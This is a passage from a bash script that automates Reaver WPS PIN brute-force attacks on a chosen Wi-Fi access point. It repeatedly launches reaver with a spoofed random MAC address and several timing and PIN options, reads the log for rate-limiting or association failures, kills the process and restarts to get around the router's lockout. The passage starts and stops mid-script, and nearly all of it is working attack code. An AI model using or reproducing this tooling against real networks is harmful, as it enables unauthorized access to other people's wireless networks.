contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R16 == y || $USE_R16 == Y ]] && [[ $USE_LONG16 == n || $USE_LONG16 == N ]] && [[ $USE_PIN16 == n || $USE_PIN16 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX16" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY16"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -vv -x 60 -r $RX16:$RY16 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R16 == n || $USE_R16 == N ]] && [[ $USE_LONG16 == y || $USE_LONG16 == Y ]] && [[ $USE_PIN16 == n || $USE_PIN16 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R16 == y || $USE_R16 == Y ]] && [[ $USE_LONG16 == y || $USE_LONG16 == Y ]] && [[ $USE_PIN16 == n || $USE_PIN16 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX16" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY16"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -r $RX16:$RY16 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R16 == n || $USE_R16 == N ]] && [[ $USE_LONG16 == n || $USE_LONG16 == N ]] && [[ $USE_PIN16 == y || $USE_PIN16 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -vv -x 60  --pin=$WPS_PIN16 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R16 == y || $USE_R16 == Y ]] && [[ $USE_LONG16 == n || $USE_LONG16 == N ]] && [[ $USE_PIN16 == y || $USE_PIN16 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX16" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY16"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
